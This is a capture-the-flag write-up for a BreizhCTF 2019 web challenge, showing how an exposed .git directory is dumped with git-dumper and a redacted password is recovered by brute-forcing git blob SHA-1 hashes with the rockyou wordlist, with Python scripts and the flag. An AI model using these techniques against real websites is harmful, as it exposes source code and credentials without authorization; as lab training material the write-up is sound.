BreizhCTF 2019: Primera sangra
|BreizhCTF 2019||Primera sangra||Web||175||2|
Zeecka: I lost the description but the topic was about an administrator who put his website in production and forgot to change his password. He decided to change it with
vion the production website.
We got a
.git directory with files. The file containing a secret has been modified and did not correspond to any object hash inside the git directory. We had to change the secret file with each rockyou password and recompute each hash to retrieve the right password. The good one was the one matching with one of git hash objects.
The first step was not really hard. I used Acunetix web scanner but a scanner such as nikto or a simple dirbuster could have found the same entry point: a
I used the git-dumper tool to dump the
mkdir output python git-dumper.py http://ctf.bzh:21000/.git output
Identifying the vulnerability
First of all, I looked at the source code and tried to exploit
pickle.load() features, without success. Looking at the challenge description we realized that one of the files didn’t match any hashes in .git directory:
git hash-object * b9a9f0016edfa13722676a5a7764e5e90683bb6e a8d36c721525b80c9cb29dac6f06b5acf8c60c2b 3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
tree .git/objects ├── 21 │ └── ff7f561f87c1a682d11dcb2572772e4e1872af ├── 37 │ └── 4e045ef2ea84be825ead668a69aac28ce7b53e ├── a8 │ └── d36c721525b80c9cb29dac6f06b5acf8c60c2b ├── b9 │ └── a9f0016edfa13722676a5a7764e5e90683bb6e └── f9 └── 0a1376b0c94bc33eb2f8e6e77f24f828039237
Here, the hash
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f didn’t match any of the object hashes. This means the hash corresponds to a file that has been modified and not added inside the git directory (with git add).
This hash corresponds to the
git hash-object secret_password.py 3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
cat secret_password.py secret_password = "REDACTED"
Here is the vulnerability: The
secret_password.py has been edited but we still have the git hash object of the old
secret_password.py file. We have to replace the “REDACTED” password with a password, re-compute the hash of the file and verify if the hash matches one of the objects. If it does, it means that we found the right password.
I decided to write the following python script to bruteforce and get the good password using rockyou.txt wordlist:
import sys import hashlib hashes = ["21ff7f561f87c1a682d11dcb2572772e4e1872af", "374e045ef2ea84be825ead668a69aac28ce7b53e", "a8d36c721525b80c9cb29dac6f06b5acf8c60c2b", "b9a9f0016edfa13722676a5a7764e5e90683bb6e", "f90a1376b0c94bc33eb2f8e6e77f24f828039237"] with open("rockyou.txt","r") as f: l = f.read().split() for p in l: with open("tmp.txt","wb") as f2: f2.write('secret_password = "'+p+'"') h = os.popen('git hash-object tmp.txt').read() if h in hashes: print("Found flag : "+str(p)) sys.exit()
The script was waaaaaay too long (hours of executions :‘( ). I had to compute the hash by myself.
The hash object is generated with a special shasum:
echo -ne 'blob <content size>\0<content>' | shasum
We can verify with the following command:
echo -ne 'blob 28\0secret_password = "REDACTED"' | shasum 3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f git hash-object secret_password.py 3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
Here is the final version of the script (note that no system() is involved):
import os import sys import hashlib hashes = ["21ff7f561f87c1a682d11dcb2572772e4e1872af", "374e045ef2ea84be825ead668a69aac28ce7b53e", "a8d36c721525b80c9cb29dac6f06b5acf8c60c2b", "b9a9f0016edfa13722676a5a7764e5e90683bb6e", "f90a1376b0c94bc33eb2f8e6e77f24f828039237"] fname = "tmp2.txt" with open("rockyou.txt","r") as f: l = f.read().split() for p in l: c = 'secret_password = "'+p+'"' h = hashlib.sha1('blob '+str(len(c))+'\0'+c).hexdigest() if h in hashes: print("Found flag : "+str(p)) sys.exit()
It took 8 seconds !
Found flag : mhonowa2248116553575515246859